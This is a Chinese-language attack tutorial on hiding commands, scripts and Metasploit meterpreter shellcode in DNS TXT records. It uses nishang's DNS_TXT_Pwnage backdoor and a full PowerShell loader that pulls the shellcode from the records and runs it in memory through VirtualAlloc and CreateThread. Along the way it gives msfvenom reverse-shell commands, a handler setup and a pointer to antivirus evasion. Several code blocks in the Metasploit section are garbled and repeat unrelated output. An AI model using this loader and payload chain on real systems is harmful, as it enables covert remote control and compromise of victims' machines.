0x00簡介
DNS TXT記錄一般用來記錄某個主機名或者域名設置的說明,在這里可以填寫任何東西,長度限制255。絕大多數的TXT記錄是用來做SPF記錄(反垃圾郵件)。本篇文章主要介紹如何使用 nishang 通過創建TXT記錄執行powershell腳本。當然,首先你要有一個域名。
0x01創建TXT記錄
這里需要使用nishang中的一個腳本 OUT-DnsTxt 。
1.常見命令
因為常見命令比較短,所以可以直接添加到TXT記錄中,如下圖:

現在查看一下TXT記錄:

可以看到記錄已經成功添加了。
2.腳本
由于TXT記錄長度限制為255,如果要添加一個腳本到記錄里面,需要添加多個TXT記錄。下面是一個例子,自己寫了一個PSH腳本:
- function Get-User
- {
- <#
- .SYNOPSIS
- Script to generate DNS TXT for a test.
- .DESCRIPTION
- Use this script to get user information. to be more big.. more big... big..Do one thing at a time, and do well.Keep on going never give up.
- .EXAMPLE
- PS > Get-User
- #>
-
- [CmdletBinding()]
- Param ()
- net user
- }
使用Out-Dnstxt進行轉換:
- PS F:/DNS> . ./Out-DnsTxt.ps1
- PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
- You need to create 2 TXT records.
- All TXT Records written to F:/DNS/encodedtxt.txt
由于這個腳本比較小,所以只生產兩行:

可以分別將這兩行內容按順序添加到 1.ps.domain.com到2.ps.domian.com中如下圖:

查看TXT,可以看到內容都已經添加好了:

0x02 執行Powershell
添加完了TXT記錄以后,通過 DNS_TXT_Pwnage.ps1 來執行這些腳本。
DNS_TXT_Pwnage.ps1 是一個通過DNS TXT來接收命令或者腳本的一個后門腳本
這里還需要添加兩條記錄,strat與stop,具體如下圖:

1.執行命令
- PS F:/DNS> . ./DNS_TXT_Pwnage.ps1
- PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring start -commanddomain command.evi1cg.me -psstring test -psdomain xxx.evi1cg.me -
- Subdomains 1 -StopString stop
解釋一下參數:
startdomain 為創建的 start.domain ,返回一個字符串; cmdstring 為任意輸入的字符串; commanddomain 為創建的執行命令TXT記錄的域名; psstring 為任意輸入的字符串; psdomain 為創建的執行腳本TXT記錄的域名或子域名 ; Subdomains 為執行腳本創建TXT記錄的個數(如1.2中創建的腳本,該值為2); StopString 為任意輸入的字符串。
此處比較重要的參數為 startdomain ,他會與我們輸入的cmdstring以及psstring進行比較,如果與cmdstring值相等,則執行 commanddomain 即命令,與psstring相等則執行 psdomain 即腳本。
上面為執行命令,所以cmdstring值我們輸入為start,與start.evi1cg.me的txt記錄值相等,psstring隨便輸入,不留空就行。執行結果如下圖:

我們可以通過修改command.domain的TXT值來執行不同的命令。比如Get-Host:

2.執行腳本
- PS F:/DNS> . ./DNS_TXT_Pwnage.ps1
- PS F:/DNS> DNS_TXT_Pwnage -startdomain start.evi1cg.me -cmdstring bulabula -commanddomain command.evi1cg.me -psstring start -psdomain ps.evi1
- cg.me -Arguments Get-User -Subdomains 2 -StopString stop
這里要注意,psstring的值為start,與start.domain的TXT記錄相同,cmdstring為任意字符串。效果如下圖:

這里多一個參數 Arguments ,要寫明要執行的函數名,測試發現,在腳本中含有中文時會失敗。對于需要帶參數的腳本可以修改腳本指定參數值。
0x03 執行Shellcode
可以通過TXT記錄執行shellcode,首先,我們使用msf生成一個powershell的shellcode:
? ~ sudo msfvenom -p windows/meterpreter/reverse_tcp -f powershell LHOST=x.x.x.x LPORT=8887 > pspayload.txt
使用Out-DnsTxt對生成的文件進行轉換:
- PS F:/DNS> Out-DnsTxt -DataToEncode ./pspayload.txt
- You need to create 3 TXT records.
- All TXT Records written to F:/DNS/encodedtxt.txt
然后將以上記錄分別添加到TXT記錄中,如下圖:

測試使用的32位win7系統,使用msf開啟監聽:
- msf > use exploit/multi/handler
- msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
- payload => windows/meterpreter/reverse_tcp
- msf exploit(handler) > set LPORT 8887
- LPORT => 8887
- msf exploit(handler) > set LHOST x.x.x.x
- LHOST => x.x.x.x
- msf exploit(handler) > exploit
-
- [*] Started reverse handler on x.x.x.x:8887
- [*] Starting the payload handler...
我們還需要一個獲取TXT記錄并執行的腳本,這里我改了一個腳本:
- function Execute-Code
- {
- <#
- .PARAMETER Shelldomain
- The domain (or subdomain) whose subbdomain's TXT records would hold shellcode.
- .PARAMETER subdomains
- The number of subdomains which would be used to provide shellcode from their TXT records.
- .PARAMETER AUTHNS
- Authoritative Name Server for the domains.
- .EXAMPLE
- PS > Execute-Code
- The payload will ask for all required options.
- .EXAMPLE
- PS > Execute-Code -Shelldomain 32.alteredsecurity.com -SubDomains 5 -AUTHNS f1g1ns2.dnspod.net.
- Use above from non-interactive shell.
- #>
- [CmdletBinding()] Param(
- [Parameter(Position = 0, Mandatory = $True)]
- [String]
- $Shelldomain,
- [Parameter(Position = 1, Mandatory = $True)]
- [String]
- $Subdomains,
- [Parameter(Position = 2, Mandatory = $True)]
- [String]
- $AUTHNS
- )
- function Get-ShellCode
- {
- Param(
- [Parameter()]
- [String]
- $Shelldomain
- )
- $i = 1
- while ($i -le $subdomains)
- {
- $getcommand = (Invoke-Expression "nslookup -querytype=txt $i.$Shelldomain $AUTHNS")
- $temp = $getcommand | select-string -pattern "`""
- $tmp1 = ""
- $tmp1 = $tmp1 + $temp
- $encdata = $encdata + $tmp1 -replace '/s+', "" -replace "`"", ""
- $i++
- }
- #$encdata = ""
- $dec = [System.Convert]::FromBase64String($encdata)
- $ms = New-Object System.IO.MemoryStream
- $ms.Write($dec, 0, $dec.Length)
- $ms.Seek(0,0) | Out-Null
- $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
- $sr = New-Object System.IO.StreamReader($cs)
- $sc = $sr.readtoend()
- return $sc
- }
- $Shell = (Get-ShellCode $Shelldomain)
- #Remove unrequired things from msf shellcode
- $tmp = $Shell -replace "`n","" -replace '/$buf /+/= ',"," -replace '/[Byte/[/]/] /$buf /=' -replace " "
- [Byte[]]$sc = $tmp -split ','
- #Code Execution logic
- $code = @"
- [DllImport("kernel32.dll")]
- public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
- [DllImport("kernel32.dll")]
- public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
- [DllImport("msvcrt.dll")]
- public static extern IntPtr memset(IntPtr dest, uint src, uint count);
- "@
- $winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru
- $size = 0x1000
- if ($sc.Length -gt 0x1000) {$size = $sc.Length}
- $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
- for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt64()+$i), $sc[$i], 1)}
- Try {
- $winFunc::CreateThread(0,0,$x,0,0,0)
- sleep 100000
- }
- Catch
- {
- [system.exception]
- "caught a system exception"
- }
- }
參數說明, Shelldomain 為創建txt記錄的域名或子域名; subdomains 為創建TXT域名的個數,如上面所創建的為3; AUTHNS 為域的權威名稱服務器,如我使用的狗爹,所以AUTHNS為f1g1ns2.dnspod.net
在32位win7上執行:
PS C:/Users/evi1cg/Desktop> . ./Execute-Code.ps1
成功獲取meterpreter會話:

64位的請自行修改payload及腳本。
0x04 補充
Metasploit中已經含有此腳本 dns_txt_query_exec.rb ,此腳本查詢TXT記錄的順序為a.domain,b.domain…,下面是一個示例,首先生成payload:
? ~ sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.238.225.222 LPORT=8887 -e x86/alpha_mixed Bufferregister=EDI -f raw > reverse.txt
使用下面的腳本對該文件進行切割:
- PS F:/DNS> . ./Out-DnsTxt.ps1
- PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
- You need to create 2 TXT records.
- All TXT Records written to F:/DNS/encodedtxt.txt
0
輸出如下:

將這三行分別添加到a.domain,b.domain,c.domain的TXT記錄中:

生成exe:
- PS F:/DNS> . ./Out-DnsTxt.ps1
- PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
- You need to create 2 TXT records.
- All TXT Records written to F:/DNS/encodedtxt.txt
1
msf開啟監聽:
- PS F:/DNS> . ./Out-DnsTxt.ps1
- PS F:/DNS> Out-DnsTxt -DataToEncode ./Get-User.ps1
- You need to create 2 TXT records.
- All TXT Records written to F:/DNS/encodedtxt.txt
2
運行exe,獲得meterpreter:

至于免殺,可以直接生成c格式的shellcode,然后按照 打造免殺payload 來做。
0x05 小結
本文主要介紹一種執行命令的方式以及nishang的腳本使用,希望能對大家有幫助。